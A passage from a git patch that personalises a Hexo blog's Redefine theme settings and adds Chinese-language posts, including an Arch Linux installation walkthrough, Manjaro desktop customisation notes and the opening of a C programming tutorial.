From cacf715e313cfc3f627c52d6d248e5b0fadb66d3 Mon Sep 17 00:00:00 2001
From: Atdunbg <979541498@qq.com>
Date: Sun, 12 Oct 2025 14:06:44 +0800
Subject: [PATCH] add past articles
---
_config.redefine.yml | 76 +-
_config.yml | 12 +-
package-lock.json | 182 +++-
package.json | 5 +-
source/_posts/Redefine.md | 162 +++
source/_posts/arch_install.md | 510 ++++++++++
source/_posts/arch_majaro.md | 131 +++
source/_posts/c_learn_1.md | 1090 ++++++++++++++++++++
source/_posts/c_learn_2.md | 338 +++++++
source/_posts/c_learn_3.md | 480 +++++++++
source/_posts/c_learn_4.md | 455 +++++++++
source/_posts/c_learn_5.md | 221 ++++
source/_posts/cloud_linux_1.md | 1567 +++++++++++++++++++++++++++++
source/_posts/cloud_linux_2.md | 609 +++++++++++
source/_posts/cloud_linux_3.md | 1066 ++++++++++++++++++++
source/_posts/cloud_linux_4.md | 150 +++
source/_posts/cloud_linux_5.md | 158 +++
source/_posts/hello-world.md | 5 +
source/_posts/pikachu_practice.md | 669 ++++++++++++
source/categories/index.md | 5 +
source/images/redefine-avatar.png | Bin 0 -> 233019 bytes
source/tags/index.md | 5 +
22 files changed, 7855 insertions(+), 41 deletions(-)
create mode 100644 source/_posts/Redefine.md
create mode 100644 source/_posts/arch_install.md
create mode 100644 source/_posts/arch_majaro.md
create mode 100644 source/_posts/c_learn_1.md
create mode 100644 source/_posts/c_learn_2.md
create mode 100644 source/_posts/c_learn_3.md
create mode 100644 source/_posts/c_learn_4.md
create mode 100644 source/_posts/c_learn_5.md
create mode 100644 source/_posts/cloud_linux_1.md
create mode 100644 source/_posts/cloud_linux_2.md
create mode 100644 source/_posts/cloud_linux_3.md
create mode 100644 source/_posts/cloud_linux_4.md
create mode 100644 source/_posts/cloud_linux_5.md
create mode 100644 source/_posts/pikachu_practice.md
create mode 100644 source/categories/index.md
create mode 100644 source/images/redefine-avatar.png
create mode 100644 source/tags/index.md
diff --git a/_config.redefine.yml b/_config.redefine.yml
index 1db3643..d2ae7a2 100644
--- a/_config.redefine.yml
+++ b/_config.redefine.yml
@@ -11,13 +11,13 @@
# Docs: https://redefine-docs.ohevan.com/basic/info
info:
# Site title
- title: Theme Redefine
+ title: Atdunbg's Blog
# Site subtitle
subtitle: Redefine Your Hexo Journey.
# Author name
- author: The Redefine Team
+ author: atdunbg
# Site URL
- url: https://redefine.ohevan.com
+ url: https://atdunbg.xyz
# BASIC INFORMATION <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< end
@@ -29,7 +29,7 @@ defaults:
# Site logo
logo:
# Site avatar
- avatar: /images/redefine-avatar.svg
+ avatar: /images/redefine-avatar.png
# IMAGE CONFIGURATION <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< end
@@ -41,7 +41,7 @@ colors:
# Secondary color (TBD)
secondary:
# Default theme mode initial value (will be overwritten by prefer-color-scheme)
- default_mode: light # light, dark
+ default_mode: dark # light, dark
# COLORS <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< end
@@ -75,7 +75,7 @@ global:
scale: false # scale effect
# Scroll progress
scroll_progress:
- bar: false # progress bar
+ bar: true # progress bar
percentage: true # percentage
# Website counter
website_counter:
@@ -88,7 +88,7 @@ global:
single_page: true
# Whether to enable Preloader.
preloader:
- enable: false
+ enable: true
custom_message: # Custom message. If empty, the site title will be displayed
# Side tools settings
side_tools:
@@ -131,16 +131,18 @@ home_banner:
style: fixed # static or fixed
# Home banner image
image:
- light: /images/wallhaven-wqery6-light.webp # light mode
- dark: /images/wallhaven-wqery6-dark.webp # dark mode
+ light: https://hexoimage.pages.dev/file/089291f3f0192bb92a1ce.jpg
+ dark: https://hexoimage.pages.dev/file/089291f3f0192bb92a1ce.jpg
+ # light: /images/wallhaven-wqery6-light.webp # light mode
+ # dark: /images/wallhaven-wqery6-dark.webp # dark mode
# Home banner title
- title: Theme Redefine
+ title: Atdunbg's Blog
# Home banner subtitle
subtitle:
- text: [] # subtitle text, array
+ text: ["..."] # subtitle text, array
hitokoto: # 一言配置
- enable: false # Whether to enable hitokoto
- show_author: false # Whether to show author
+ enable: true # Whether to enable hitokoto
+ show_author: true # Whether to show author
api: https://v1.hitokoto.cn # API URL, can add types, see https://developer.hitokoto.cn/sentence/#%E5%8F%A5%E5%AD%90%E7%B1%BB%E5%9E%8B-%E5%8F%82%E6%95%B0
typing_speed: 100 # Typing speed (ms)
backing_speed: 80 # Backing speed (ms)
@@ -171,16 +173,16 @@ home_banner:
# Home banner social links
social_links:
# Whether to enable
- enable: false
+ enable: true
# Social links style
style: default # default, reverse, center
# Social links
links:
- github: # your GitHub URL
- instagram: # your Instagram URL
- zhihu: # your ZhiHu URL
- twitter: # your twitter URL
- email: # your email
+ github: https://github.com/atdunbg # your GitHub URL
+ # instagram: # your Instagram URL
+ # zhihu: # your ZhiHu URL
+ # twitter: # your twitter URL
+ email: atdunbg@qq.com # your email
# ...... # you can add more
# Social links with QRcode drawers
qrs:
@@ -208,9 +210,12 @@ navbar:
Home:
path: /
icon: fa-regular fa-house # can be empty
- # Archives:
- # path: /archives
- # icon: fa-regular fa-archive # can be empty
+ Google:
+ path: https://www.google.com/
+ icon: fa-brands fa-google
+ Archives:
+ path: /archives
+ icon: fa-regular fa-archive # can be empty
# Status:
# path: https://status.ohevan.com/
# icon: fa-regular fa-chart-bar
@@ -231,7 +236,7 @@ navbar:
# Navbar search (local search). Requires hexo-generator-searchdb (npm i hexo-generator-searchdb). See https://github.com/theme-next/hexo-generator-searchdb
search:
# Whether to enable
- enable: false
+ enable: true
# Preload search data when the page loads
preload: true
# NAVIGATION BAR <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< end
@@ -243,20 +248,20 @@ home:
# Sidebar settings
sidebar:
enable: true # Whether to enable sidebar
- position: left # Sidebar position. left, right
- first_item: menu # First item in sidebar. menu, info
+ position: right # Sidebar position. left, right
+ first_item: info # First item in sidebar. menu, info
announcement: # Announcement text
show_on_mobile: true # Whether to show sidebar navigation on mobile sheet menu
links:
# Archives:
# path: /archives
# icon: fa-regular fa-archive # can be empty
- # Tags:
- # path: /tags
- # icon: fa-regular fa-tags # can be empty
- # Categories:
- # path: /categories
- # icon: fa-regular fa-folder # can be empty
+ Tags:
+ path: /tags
+ icon: fa-regular fa-tags # can be empty
+ Categories:
+ path: /categories
+ icon: fa-regular fa-folder # can be empty
# ...... # you can add more
# Article date format
article_date_format: auto # auto, relative, YYYY-MM-DD, YYYY-MM-DD HH:mm:ss etc.
@@ -301,7 +306,7 @@ articles:
# Author label
author_label:
enable: true # Whether to enable
- auto: false # Whether to automatically add author label, e.g. Lv1, Lv2, Lv3...
+ auto: true # Whether to automatically add author label, e.g. Lv1, Lv2, Lv3...
list: []
# Code block settings
code_block:
@@ -357,7 +362,7 @@ comment:
config:
# Waline comment system. See https://waline.js.org/
waline:
- serverUrl: https://example.example.com # Waline server URL. e.g. https://example.example.com
+ serverUrl: https://hexo-waline.atdunbg.xyz # Waline server URL. e.g. https://example.example.com
lang: zh-CN # Waline language. e.g. zh-CN, en-US. See https://waline.js.org/guide/client/i18n.html
emoji: [] # Waline emojis, see https://waline.js.org/guide/features/emoji.html
recaptchaV3Key: # Google reCAPTCHA v3 key. See https://waline.js.org/reference/client/props.html#recaptchav3key
@@ -399,7 +404,7 @@ footer:
# Icon in footer, write fontawesome icon code here
icon: '
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+## 🌐 Demo
+
+- [EvanNotFound's Blog](https://ohevan.com)
+- [Theme Redefine Demo](https://redefine.ohevan.com)
+- [Redefine Theme Showcase](https://redefine.ohevan.com/showcase)
+
+If you are also using Redefine, please go to [Redefine Theme Showcase](https://redefine.ohevan.com/showcase) to add your blog link.
+
+## ⛰️ Features
+
+- [Note Module](https://redefine-docs.ohevan.com/modules/notes)
+- [Friend Link Page](https://redefine-docs.ohevan.com/page_templates/friends)
+- [Mathjax Support](https://redefine-docs.ohevan.com/plugins/mathjax)
+- Code block language display
+- Light/Dark mode switching
+- [Font Awesome 6.2.1 Pro](https://redefine-docs.ohevan.com/basic/fontawesome) (contains different styles like Duotone/Regular/Thin/Sharp)
+- [Drop-down menu](https://redefine-docs.ohevan.com/dhome/navbar#%E9%93%BE%E6%8E%A5%E5%88%97%E8%A1%A8)
+- [Customizable footer](https://redefine-docs.ohevan.com/footer)
+- [Site Uptime Display](https://redefine-docs.ohevan.com/footer#%E8%BF%90%E8%A1%8C%E6%97%B6%E9%97%B4)
+- [Article Header Image](https://redefine-docs.ohevan.com/article_customize/banner)
+- [Mermaid JS support](https://redefine-docs.ohevan.com/plugins/mermaid)
+- SEO friendly
+- [Aplayer support](https://redefine-docs.ohevan.com/plugins/aplayer)
+- [Shuoshuo support](https://redefine-docs.ohevan.com/shuoshuo)
+- [Customizable Font](https://redefine-docs.ohevan.com/basic/global#%E8%87%AA%E5%AE%9A%E4%B9%89%E5%AD%97%E4%BD%93)
+- Tailwind CSS Included
+
+
+
+## ☁️ Installation
+
+The easiest way to install Theme Redefine is by using **npm** (after your hexo version has been up to `5.0`+)
+
+```sh
+$ cd your-hexo-site
+$ npm install hexo-theme-redefine@latest
+```
+
+Another method is by **git clone**
+
+```sh
+$ cd your-hexo-site
+$ git clone https://github.com/EvanNotFound/hexo-theme-redefine.git themes/redefine
+```
+
+After the installation, go to the `_config.yml` of your hexo site and set
+
+```yaml
+theme: redefine
+```
+
+## ⏫ Update
+
+To update hexo-theme-redefine, you can run the same **npm** command
+
+```sh
+$ npm install hexo-theme-redefine@latest
+```
+
+If you installed the theme by **git clone**, you can update the theme by running the following command
+
+```sh
+$ cd themes/redefine
+$ git pull
+```
+
+
+
+## 📄 Documentations
+
+Please read [Redefine Docs](https://redefine-docs.ohevan.com/) when installing
+
+It's very easy to understand.
+
+
+
+## ☕ Support
+
+Feel free to **pull request** and **send issues**.
+
+If you have any questions, please send an email to [contact@ohevan.com](mailto:contact@ohevan.com). I will reply in time.
+
+Please **give me a star** to support me, thanks!
+
+Also, if you are using [Typora](https://typora.io/), check out [Typora Theme Redefine](https://github.com/EvanNotFound/typora-theme-redefine) so that you can preview the styles of your blog in Typora.
+
+## 💗 Donations
+
+Thanks to all the people who have donated to me. Your support is my greatest motivation.
+
+If you like this theme, please give a star. You can also support me by [donating](https://github.com/EvanNotFound/hexo-theme-redefine/blob/dev/DONATION.md).
+
+This is the list of all the people who have donated to me: [Donation List](https://github.com/EvanNotFound/hexo-theme-redefine/blob/dev/DONATION.md)
+
+🎉 **想体验 OpenAI 的 ChatGPT Plus 会员？官网 20 美元每月太贵了？不用担心！**
+
+🚀 立即加入我的 [GPT Plus Share](https://gpt.oknice.ca) GPT Plus 共享站，ChatGPT Plus 随心用。
+
+- ✅ 支持 OpenAI 最新所有模型，包括 `GPT-4o`, `o3` 系列模型，支持高级图片生成
+- ✅ 后台大量官方正版账号号池，随心使用
+- ✅ 每月仅需低至 23.99 人民币，支持一天免费试用
+- ✅ 无需梯子，国内免翻访问！
+- ✅ 由 Evan 本人运营，售后保证，已稳定运行超过一年
+
+[](https://www.gptplus.ca/home)
+
+
+## 🌟 Star History
+
+
+
+
+
+
+
+
+## 💻 Development
+
+If you want to contribute to this project, you can clone the `dev` branch and check out the [Development Docs](https://redefine-docs.ohevan.com/developer) to get started.
diff --git a/source/_posts/arch_install.md b/source/_posts/arch_install.md
new file mode 100644
index 0000000..f744e53
--- /dev/null
+++ b/source/_posts/arch_install.md
@@ -0,0 +1,510 @@
+---
+title: 记一次ArchLinux的安装过程
+date: 2023-03-27 10:30
+tags: ["Arch Linux", Linux]
+categories: "Arch Linux"
+thumbnail: "https://hexoimage.pages.dev/file/49f93be93d3b83ea337a5.png"
+---
+
+## ArchLinux+KDE的安装过程
+
+## 1. 1下载镜像文件
+
+Archlinux的官网:[https://archlinux.org/ ](https://archlinux.org/)
+
+点击Download
+
+按照自身情况选择一个镜像源
+
+国内推荐[清华源 ](https://mirrors.tuna.tsinghua.edu.cn/archlinux/iso/2023.04.01/)
+
+下载iso镜像文件
+
+## 1.2 **选择安装方式**
+
+### 1.2.1本机安装
+
+folding cyan,本机安装
+本机安装, 推荐用 [ventoy ](https://www.ventoy.net/cn/)制作U盘启动盘进行安装
+
+
+
+#### (1).制作启动盘
+
+- 准备一个大容量U盘(建议8G往上, 以后想装其他系统直接吧ISO文件复制到U盘里即可)
+- 确保U盘里没有重要文件(请提前备份好重要文件)
+
+
+
+- 打开Ventoy2Disk.exe
+- 找到要制作的U盘, 点击开始安装即可
+
+然后将archlinux的iso镜像复制在U盘中
+
+#### (2).启动archlinux镜像
+
+**启动电脑时按F2(不同电脑快捷键可能不同,请自行百度)**
+
+然后选择U盘启动,进入ventoy,选择archlinux.
+
+endfolding
+
+### 1.2.2虚拟机安装
+
+folding cyan,虚拟机安装
+
+**此处演示的为 [VMware ](https://www.vmware.com/)虚拟机**
+
+- 打开 VMware
+
+
+
+- 选择新建虚拟机,选择典型(推荐)配置
+- 选择安装光盘映像文件(iso), 选择下载好的archlinux的ISO镜像.
+
+
+
+- **下一步**
+- 操作系统选择Linux,内核选择 其他 Linux 5.x 内核 64 位.
+
+
+
+- **下一步**
+
+ 虚拟机名字和创建文字按照自己情况适当调整
+
+- **下一步**
+
+最大磁盘大小按照自己情况修改(我这里改为20GB)
+
+选择 **将虚拟磁盘储存为单个文件**
+
+
+
+- **下一步**
+- 点击**自定义硬件**, 修改此虚拟机的内存,我这里修改的为**4G**
+- 点击**完成**
+- 点击**编辑虚拟机设置**, 依次点击 **选项–>高级–>固件类型 中 选中UEFI模式**
+
+
+
+**至此,虚拟机配置就完成了**
+
+## 1.3安装archlinux
+
+### 1.3.1进入镜像系统
+
+
+
+首先 先禁用 **reflector服务**, 防止自动更新服务器列表
+
+```bash
+systemctl stop reflector.service
+```
+
+### 1.3.2**网络连接**, 有线网会自动连接, 请忽略此步
+
+无线网连接
+
+```bash
+#执行iwctl指令,进入交互式命令界面
+iwctl
+
+#累出设备名,如无线网卡应看到wlan0
+device list
+
+#用wlan0扫描网络
+station wlan0 scan
+
+#列出网络
+station wlan0 get-networks
+
+
+# 连接指定无线网 输入密码
+station wlan0 connect [无线网名字]
+
+#退出iwctl
+exit或者quit
+```
+
+ping一下一个网站, 看看网络是否连接成功
+
+```bash
+#例
+
+ping www.baidu.com
+```
+
+### 1.3.3同步网络时间
+
+```bash
+timedatectl set-ntp true
+```
+
+### 1.3.4修改软件源 把中国源放在前列
+
+```bash
+# Ctrl+w 搜索指定文本
+# Ctrl+6 标记指定文本
+# Ctrl+k 剪切选中文本
+# Ctrl+u 粘贴文本
+# Ctrl+x 退出编辑
+
+nano /etc/pacman.d/mirrorslist #打开镜像源配置文件,将中国的镜像源放置最前列
+```
+
+### 1.3.5刷新但不更新软件包
+
+```bash
+pacman -Syy
+```
+
+### 1.3.6(可选操作)安装openssh
+
+```bash
+#安装openssh远程软件
+pacman -S openssh
+
+#启用sshd服务
+systemctl start sshd
+
+#设置当前root密码
+passwd root
+
+#查看ip地址
+ip a
+```
+
+> - **使用ssh连接archlinux,方便复制粘贴命令**
+>
+> ```bash
+> ssh [ip地址]@root
+> #输入密码即可成功连接
+> ```
+
+### 1.3.7磁盘分区
+
+#### fdisk软件分区
+
+```bash
+fdisk -l #查看磁盘列表
+```
+
+
+
+```
+fdisk /dev/sda #对sda磁盘进行分区
+```
+
+> - fdisk操作命令
+> - m: 帮助
+> - g(小写g): 创建GPT格式磁盘
+> - n: 创建分区
+> - p: 查看分区
+> - q: 不保存退出
+> - w: 保存并退出 所有操作在执行”w”前都不会生效
+
+
+
+作为演示, 分以下四个分区
+
+- 512MB的ESP启动分区
+- 2G的交换分区
+- 10G作为根目录/
+- 剩下的作为home目录
+
+
+
+#### cfdisk软件分区
+
+folding cyan,cfdisk软件分区
+
+cfdisk分区软件操作比较简单,具体分区布局看下图
+
+
+
+分好区后选择write并键入yes即可使分区生效
+
+endfolding
+
+> ```bash
+> fdisk -l #分好区后用此指令可以查看分区的状态
+> ```
+
+### 1.3.8格式化磁盘
+
+```bash
+#根据自己情况适当修改,不可照抄
+mkfs.vfat /dev/sda1
+
+mkswap /dev/sda2
+
+mkfs.ext4 /dev/sda3
+
+mkfs.ext4 /dev/sda4
+
+swapon /dev/sda2
+```
+
+### 1.3.9挂载磁盘
+
+```bash
+#挂载根目录/
+mount /dev/sda3 /mnt #必须先挂载根目录,才能再挂载其他目录
+
+
+#创建home,boot文件夹
+mkdir /mnt/home
+mkdir /mnt/boot
+
+#挂载
+mount /dev/sda4 /mnt/home
+mount /dev/sda1 /mnt/boot
+```
+
+### 1.3.10往/mnt里安装系统
+
+最基础的四个包是: base base-devel linux linux-firmeware
+
+其余的按自己需求安装
+
+```bash
+pacstrap /mnt base base-devel linux linux-firmware dhcpcd iwd vim sudo bash-completion nano net-tools openssh man git wget zsh fish
+```
+
+### 1.3.11生成fstab
+
+```bash
+genfstab -U /mnt >> /mnt/etc/fstab
+```
+
+- **查看是否成功生成**
+
+```bash
+cat /mnt/etc/fstab
+```
+
+
+
+### 1.3.12从live切换到刚安装的系统
+
+```bash
+arch-chroot /mnt
+```
+
+编辑**hostname**
+
+```bash
+#我这里填写的arch
+
+echo [arch] > /etc/hostname #将arch写入到/etc/hostname文件里
+
+cat /etc/hostname #查看/etc/hostname文件里的内容
+```
+
+编辑**hosts**
+
+```bash
+#我这里名字是arch,可自行更改
+
+nano /etc/hosts
+
+#向hosts文件里添加以下内容
+127.0.0.1 localhost
+::1 localhost
+127.0.0.1 arch
+```
+
+- 设置**时区**和**硬件时间**设置
+
+```bash
+#设置时区
+ln -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime
+
+#硬件时间设置
+hwclock --systohc
+```
+
+### 1.3.13编辑语言环境
+
+```bash
+nano /etc/locale.gen
+```
+
+ctrl+w搜索en_US注意大小写
+
+alt+w搜索下一个 找到en_US.UTF-8.UTF-8 然后把他取消注释
+
+保存退出
+
+```bash
+locale-gen #使刚才编辑的语言环境生效
+```
+
+### 1.3.14设置root密码
+
+```bash
+passwd root #当前账户就是root 可以不用打root
+```
+
+### 1.3.15添加新用户
+
+```bash
+用户名以arch为例
+
+useradd -m -G wheel -s /bin/bash arch #这里新建用户arch
+
+#为arch设置密码
+passwd arch
+```
+
+- 设置arch用户名的密码
+
+ ```bash
+ #编辑arch用户的权限
+ EDITOR=nano visudo
+ ```
+
+ ctrl+w搜索%wheel
+
+ 找到**# %wheel ALL=(ALL:ALL)ALL**取消注释
+
+### 1.3.16安装 cpu微码和引导软件
+
+```bash
+pacman -S intel-ucode grub efibootmgr os-prober
+#如果是amd的cpu 则输入amd-ucode
+
+
+#安装grub引导 如果不知道系统什么架构可以使用'uname -a'查看一下
+grub-install --target=x86_64-efi --efi-directory=/boot --bootloader-id=GRUB
+
+
+生成grub
+grub-mkconfig -o /boot/grub/grub.cfg
+```
+
+
+
+os-prober查找已安装的操作系统, 推荐双系统使用者安装此工具(虚拟机没必要)
+
+```bash
+pacman -S os-prober
+```
+
+### 1.3.17安装KDE桌面 字体 浏览器等软件包等
+
+```bash
+pacman -S plasma konsole dolphin #kde桌面和终端，文件管理器
+
+pacman -S ntfs-3g #可以读取ntfs格式磁盘,根据自己情况选择性安装
+
+#中文字体
+pacman -S adobe-source-han-serif-cn-fonts adobe-source-han-sans-cn-fonts wqy-zenhei wqy-microhei noto-fonts-cjk noto-fonts-emoji noto-fonts-extra ttf-dejavu
+
+
+#一堆软件,以下不是必须安装.可以根据自己情况选择性安装
+pacman -S firefox ark gwenview packagekit-qt5 packagekit appstream-qt appstream man neofetch net-tools networkmanager openssh git wget
+```
+
+> - vmware虚拟机的自适应分辨率,**实体机请勿安装**
+>
+> ```bash
+> pacman -S gtkmm gtk2 gtkmm3 open-vm-tools xf86-input-vmmouse xf86-video-vmware
+>
+> #开机启动 显示管理器 网络管理 ssh 虚拟机自适应分辨率
+> systemctl enable NetworkManager sddm vmtoolsd sshd
+> #编辑配置文件
+> nano /etc/mkinitcpio.conf
+> MODULES=(vsock vmw_vsock_vmci_transport vmw_balloon vmw_vmci vmwgfx)
+> #使刚才配置文件生效
+> mkinitcpio -p linux
+> ```
+
+**至此系统基本安装完毕, 按照以下步骤重启准备进入系统**
+
+- **exit**退回到**live**系统中
+- **umount -R /mnt** 卸载/mnt目录
+- **reboot**重启
+
+
+
+输入之前设置的密码即可进入系统
+
+
+
+### 1.3.18最后调整
+
+```bash
+#修改pacman.conf
+
+sudo nano /etc/pacman.conf
+
+#取消'Color'前的注释,这样系统报错时会彩色显示,方便排查
+
+#取消以下两行的注释
+[multilib]
+Include = /etc/pacman.d/mirrorslist
+
+
+
+#再在最后面添加以下两行内容
+[archlinuxcn]
+Server = https://mirrors.tuna.tsinghua.edu.cn/archlinuxcn/$arch
+
+
+#保存并退出
+
+#更新一下软件包
+pacman -Sy
+```
+
+
+
+**安装archlinuxcn-keyring包导入GPG key**
+
+```bash
+sudo pacman -S archlinuxcn-keyring
+```
+
+再次更新下源
+
+```bash
+sudo pacman -Sy
+```
+
+- yay paru都是aur助手, 任选一种, 还有其他的aur助手软件可以自行搜索
+
+```bash
+pacman -S yay paru
+```
+
+如果报错则执行以下命令
+
+```bash
+rm -rf /etc/pacman.d/gnupg #rm命令谨慎操作
+pacman-key --init
+pacman-key --populate archlinux
+pacman-key --populate archlinuxcn
+```
+
+- 安装fcitx5输入法
+
+ ```bash
+ pacman -S fcitx5-im fcitx5-chinese-addons fcitx5-pinyin-moegirl fcitx5-pinyin-zhwiki fcitx5-material-color
+
+ #编辑运行环境 使fcitx5输入法生效
+ EDITOR=nano sudoedit /etc/environment
+
+ #输入以下内容
+ GTK_IM_MODULE=fcitx
+ QT_IM_MODULE=fcitx
+ XMODIFIERS=@im=fcitx
+ SDL_IM_MODULE=fcitx
+
+ #重启以下系统即可
+ ```
+
+### 1.3.19结束安装
+
+> 至此,系统已经全部安装完成.
diff --git a/source/_posts/arch_majaro.md b/source/_posts/arch_majaro.md
new file mode 100644
index 0000000..411009c
--- /dev/null
+++ b/source/_posts/arch_majaro.md
@@ -0,0 +1,131 @@
+---
+title: Majaro 配置记录
+date: 2022-12-18 20:45
+tags: ["Arch Linux", 配置]
+categories: Linux
+thumbnail: "https://hexoimage.pages.dev/file/3cf6864a213a1bf09c5ff.png"
+---
+
+
+
+## 添加AUR源
+
+manjaro是基于Arch的，所以也能使用Arch的AUR
+
+修改**pacman.conf**文件
+
+```
+sudo nano /etc/pacman.conf
+
+# 在最后添加以下三行内容
+
++ [archlinuxcn]
++ SigLevel = Optional TrustedOnly
++ Server = https://mirrors.tsinghua.edu.cn/archlinuxcn/$arch
+
+#之后保存更新
+
+sudo pacman -Syyu
+```
+
+**安装archlinuxcn-keyring包导入GPG key**
+
+```
+sudo pacman -S archlinuxcn-keyring
+```
+
+**GIT**
+
+```
+sudo pacman -S git
+```
+
+**chrome浏览器**
+
+```
+#chrome浏览器
+
+sudo pacman -S google-chrome
+```
+
+## 配置
+
+### **全局主题-layan**
+
+[https://github.com/vinceliuice/Layan-kde ](https://github.com/vinceliuice/Layan-kde)
+
+
+
+**Plasma样式**
+
+
+
+**颜色**
+
+
+
+**图标**
+
+
+
+**设置——工作区行为——桌面特效**
+
+
+
+
+
+**窗口透明度**
+
+
+
+**窗口背景虚化**
+
+
+
+### **gnome-gtk程序风格**
+
+文件：[https://pan.baidu.com/s/1SZbrEzFI2SFCBMEJ0zmuHQ ](https://pan.baidu.com/s/1SZbrEzFI2SFCBMEJ0zmuHQ) 密码: r8t5
+
+用到的软件 kvantum
+
+软件库里有，点击直接安装
+
+
+
+也可以用终端安装
+
+```
+sudo pacman -S kvantum
+```
+
+选择主题安装
+
+
+
+稍作修改
+
+
+
+
+
+**保存，然后在设置里应用 kvantum 即可**
+
+### 任务栏插件
+
+**panon音乐插件**
+
+[https://github.com/rbn42/panon ](https://github.com/rbn42/panon)
+
+**配置**
+
+
+
+**Dock栏**
+
+```
+sudo pacman -S plank
+```
+
+**配置**
+
+
\ No newline at end of file
diff --git a/source/_posts/c_learn_1.md b/source/_posts/c_learn_1.md
new file mode 100644
index 0000000..7040f1c
--- /dev/null
+++ b/source/_posts/c_learn_1.md
@@ -0,0 +1,1090 @@
+---
+title: C语言-1
+date: 2022-11-01 15:40:14
+tags: [C语言, 笔记]
+categories: 笔记
+---
+
+## C 简介
+
+C 语言是一种通用的高级语言，最初是由丹尼斯·里奇在贝尔实验室为开发 UNIX 操作系统而设计的。C 语言最开始是于 1972 年在 DEC PDP-11 计算机上被首次实现。
+
+在 1978 年，布莱恩·柯林汉（Brian Kernighan）和丹尼斯·里奇（Dennis Ritchie）制作了 C 的第一个公开可用的描述，现在被称为 K&R 标准。
+
+UNIX 操作系统，C编译器，和几乎所有的 UNIX 应用程序都是用 C 语言编写的。由于各种原因，C 语言现在已经成为一种广泛使用的专业语言。
+
+
+
+其主要有一下几个特点：
+
+> * 易于学习.
+> * 结构化语言.
+> * 可以生产高效率的程序.
+> * 可以处理底层的活动.
+> * 可以在多种计算机平台上编译.
+
+
+
+## 关于C
+
+- C 语言是为了UNIX操作系统而被发明的.
+- C 语言是以B语言为基础的, B语言在大约1970年被引进的.
+- C 语言的标准是与1988年由美国国家标准协会(ANSI, 全称American National Standard Institute)制定的.
+- 截至1973年,UNIX操作系统是完全使用C语言编写的.
+- 目前,C 语言是最广泛使用的系统程序设计语言.
+- 大多数先进的软件都是使用C语言实现的.
+- 当今流行的Linux操作系统和RDBMS(Relational Database Management System:关系数据库管理系统) MySQL都是使用C语言编写的.
+
+
+
+## 为什么要用C
+
+C 语言最初是用于系统开发工作，特别是组成操作系统的程序。由于 C 语言所产生的代码运行速度与汇编语言编写的代码运行速度几乎一样，所以采用 C 语言作为系统开发语言。
+
+几个使用 C 的实例：
+
+- 操作系统
+- 语言编译器
+- 汇编器
+- 文本编辑器
+- 打印机
+- 网络驱动器
+- 现代程序
+- 数据库
+- 语言解释器
+- 实体工具
+
+C 程序
+
+一个 C 语言程序，可以是 3 行，也可以是数百万行，它可以写在一个或多个扩展名为 “.c” 的文本文件中，例如，hello.c。可以使用 VScode/Dev-C++/Vim或者其他编辑器来编写 C 语言程序。
+
+
+
+## C11
+
+C11（也被称为C1X）指ISO标准ISO/IEC 9899:2011。在它之前的C语言标准为C99。
+
+
+
+## 新特性
+
+- 对齐处理（Alignment）的标准化（包括_Alignas标志符，alignof运算符，aligned_alloc函数以及头文件）。
+- _Noreturn 函数标记，类似于 gcc **attribute**((noreturn))。
+- _Generic 关键字。
+- 多线程（Multithreading）支持，包括：
+ - _Thread_local存储类型标识符，头文件，里面包含了线程的创建和管理函数。
+ - _Atomic类型修饰符和头文件。
+- 增强的Unicode的支持。基于C Unicode技术报告ISO/IEC TR 19769:2004，增强了对Unicode的支持。包括为UTF-16/UTF-32编码增加了char16_t和char32_t数据类型，提供了包含unicode字符串转换函数的头文件。
+- 删除了 gets() 函数，使用一个新的更安全的函数gets_s()替代。
+- 增加了边界检查函数接口，定义了新的安全的函数，例如 fopen_s()，strcat_s() 等等。
+- 增加了更多浮点处理宏(宏)。
+- 匿名结构体/联合体支持。这个在gcc早已存在，C11将其引入标准。
+- 静态断言（Static assertions），_Static_assert()，在解释 #if 和 #error 之后被处理。
+- 新的 fopen() 模式，(“…x”)。类似 POSIX 中的 O_CREAT|O_EXCL，在文件锁中比较常用。
+- 新增 quick_exit() 函数作为第三种终止程序的方式。当 exit()失败时可以做最少的清理工作。
+
+## 环境配置
+
+最简单的环境配置只需要配置C的编译环境，C语言对应的工具主要有以下三种：
+
+> * GCC/G++ (Window可以用[MinGW]([mingw-w64](https://www.mingw-w64.org/)))
+> * MSVC (可以通过[Visual Studio installer](https://visualstudio.microsoft.com/)下载C++的桌面开发环境下载)
+> * [CLANG (LLVM) ](https://clang.com)
+
+下载对应的编译工具并添加进环境即可
+
+
+
+## 程序结构
+
+### C “hello world” 实例
+
+C 程序主要包括以下几个部分:
+
+- 预处理指令
+- 函数
+- 变量
+- 语句 & 表达式
+- 注释
+
+hello world!实例:
+
+```c
+#include
+int main() {
+ /*我的第一个 C 程序*/
+ printf("Hello World! \n");
+ return 0;
+}
+```
+
+| 代码 | 解释 |
+| :---------------: | :----------------------------------------------------------: |
+| #include | 预处理指令,告诉 C 编译器在实际编译之前要包含 stdio.h 文件。 |
+| int main() | 程序的主函数,程序从这里开始运行 |
+| /*…*/ | “…”里的内容会被编译器忽略，这里放置程序的注释内容。它们被称为程序的注释 |
+| printf(…) | C语言 中一个可用的函数，会在屏幕上显示消息”…(括号内的内容)” |
+| return 0; | 终止main()函数,并返回值0. |
+
+### 编译 & 执行 C 程序
+
+不同编译器操作方式不同,此处只提供其中一种[关于vscode如何运行C代码 ](https://watchdogs-x.github.io/2022/12/22/vscode_install/)
+
+## C 基本语法
+
+### C 的令牌(Token)
+
+C 程序由各种令牌组成，令牌可以是关键字、标识符、常量、字符串值，或者是一个符号。例如，下面的 hello world 语句就包括五个令牌：
+
+```c
+printf("hello world! \n");
+```
+
+这五个令牌分别为:
+
+- printf
+- (
+- “Hello, World! \n”
+- )
+- ;
+
+#### 分号 ‘;’
+
+在 C 程序中，分号是语句结束符。也就是说，每个语句必须以分号结束。它表明一个逻辑实体的结束。
+
+```c
+printf("Hello, World! \n"); //这是第一条语句
+return 0; //这是第二条语句
+```
+
+#### 注释
+
+C 语言有两种注释方式：
+
+- // 单行注释
